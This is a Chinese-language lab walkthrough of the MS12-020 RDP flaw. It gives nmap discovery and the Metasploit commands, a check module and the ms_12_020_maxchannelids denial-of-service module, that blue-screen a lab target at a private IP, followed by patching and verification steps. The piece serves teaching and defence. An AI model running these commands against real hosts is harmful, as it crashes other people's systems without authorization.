ms12_020(DOS蓝屏攻击)
1.主机发现
使用nmap扫描发现靶机开启3389端口
3389是远程桌面服务端口，ms12_020 RDP（远程桌面协议）远程代码执行漏洞
2.使用msfcosole进入msf框架
使用search ms12_020查看漏洞
auxiliary/scanner/rdp/ms12_020_check是辅助探索模块，探测靶机是否存在漏洞
auxiliary/dos/windows/rdp/ms_12_020_maxchannelids是辅助攻击模块，来攻击靶机使蓝屏
use auxiliary/scanner/rdp/ms12_020_check 使用辅助探索模块
使用show options 查看配置信息
| Name |
名字 |
| Current setting |
当前设置 |
| Required |
必填 |
| Description |
描述 |
| RHOSTS |
靶机IP（R 是remote的缩写 远程）(host 主机) |
| RPORT |
端口（R远程）（PORT端口） |
| THREADS |
线程 |
设置靶机Ip
Set RHOSTS 172.16.104.250
Run运行
| The target is vulnerable |
目标易攻击 |
| Scanned 1 of 1 host (100% complete) |
已扫描 1 台主机中的 1 台（100% 完成） |
| Auxiliary module execution completed |
辅助模块执行完成 |
发现漏洞
使用攻击模块
Use auxiliary/dos/windows/rdp/ms_12_020_maxchannelids
使用 show options
设置靶机IP
Set RHOSTS 172.16.104.250
Run运行
运行成功靶机蓝屏
修复漏洞
两种办法：
- 安装官方补丁
- 直接关闭3389端口也就是远程连接
关闭远程连接服务
漏洞修复后验证
use auxiliary/scanner/rdp/ms12_020_check 使用辅助探索模块
配置靶机IP后运行
| Cannot reliably check exploitability |
无法检查可利用性（也就是没发现漏洞） |
然后使用攻击模块
Use auxiliary/dos/windows/rdp/ms_12_020_maxchannelids
查看show options
配置靶机Ip
Set RHOSTS 172.16.104.250
运行run
| Running module against |
运行模块 |
| RDP service unreachable |
无法访问RDP服务 |
| Auxiliary module execution completed |
辅助模块执行完成 |
文章来源：https://www.toymoban.com/news/detail-496269.html
运行完成，靶机没有蓝屏，证明漏洞修复文章来源地址https://www.toymoban.com/news/detail-496269.html
到了这里，关于ms12_020(DOS蓝屏攻击)的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
